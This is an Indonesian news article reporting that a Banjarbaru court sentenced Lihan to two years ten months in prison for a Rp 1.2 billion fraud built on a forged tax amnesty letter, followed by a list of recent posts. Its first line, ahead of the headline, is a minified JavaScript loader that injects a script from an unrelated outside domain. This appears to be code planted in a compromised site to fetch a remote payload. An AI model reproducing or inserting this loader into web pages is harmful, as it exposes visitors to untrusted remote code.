(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Menipu Uang Rp 1,2 Miliar, Lihan Divonis Dua Tahun Sepuluh Bulan Penjara


KANALKALIMANTAN.COM, BANJARBARU – Majelis hakim Pengadilan Negeri Banjarbaru memvonis bersalah Lihan atas tindak pidana penipuan uang dengan modus tax amnesty, sebesar Rp 1,2 miliar. Palu hakim menghantarkan Lihan ke jeruji besi dengan lama hukuman selama 2 tahun 10 bulan.

“Jaksa Penuntut Umum (JPU) sebenarnya menuntut Lihan dengan hukuman tiga tahun penjara. Tapi, ternyata dari majelis hakim memvonis 2 tahun 10 bulan. Ya, tentunya majelis hakim punya pertimbangan sendiri,” kata Kasi Pidum Kejari Banjarbaru, Budi Muklis.

Atas vonis ini, kata Budi, pihaknya masih mempertimbangkan untuk mengajukan banding atau tidak. Sedangkan, dari pihak Lihan bersama kuasa hukumnya telah menerima vonis ini.

“Kita masih pikir-pikir mau ngajukan banding atau tidak. Masih ada waktu 7 hari,” lanjutnya

Lihan telah menjalani sidang sejak 10 Desember 2019. Adapun dasar tuntutan terhadap bekas pengusaha intan ini, mengacu pada pasal 378 KUHP tentang tindak pidana penipuan. Terlebih lagi, status Lihan yang merupakan residivis -terpidana kasus investasi bodong money game pada tahun 2010-, juga menjadi unsur yang menguatkan pihak Kejaksaan untuk menuntu hukuman yang seberat-beratnya.

Lihan diringkus Polsek Banjarbaru Kota lantaran diduga menipu temannya sendiri H Hasyim sebesar Rp 1,2 miliar. Penangkapan Lihan terjadi di Perumahan Green Valley Residence, Jatihandap, Mandala Jati Kota Bandung, Jabar, pada pertengahan September lalu.

Modus Lihan untuk mengelabui Hasyim, yakni pembayaran tax amnesty atau pengampunan pajak, demi memuluskan uang Lihan yang ada di luar negeri sebesar Rp 50 miliar.

Untuk membuat H Hasyim lebih percaya, Lihan kemudian mengirimkan bukti surat tax amnesty yang dimaksud. Dengan tanda bukti seperti dikeluarkan oleh Kantor Pajak Pratama Serpong Kota Tangerang Selatan, Provinsi Banten.

Belakangan setelah dilakukan penyelidikan ternyata surat tax amnesty tersebut diduga palsu. Usai mendapat laporan tersebut Polres Banjarbaru dan Polsek Banjarbaru Kota langsung melakukan pemeriksaan ke Kantor Pajak Pratama Serpong, Kanwil Dirjen Pajak Banten. Dari sini dibuat kesimpulan bahwa surat tax amnesty yang diserahkan oleh Lihan kepada H Hasyim tidak terdaftar di kantor pajak tersebut. (kanalkalimantan.com/rico)

Reporter : rico
Editor : Chell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.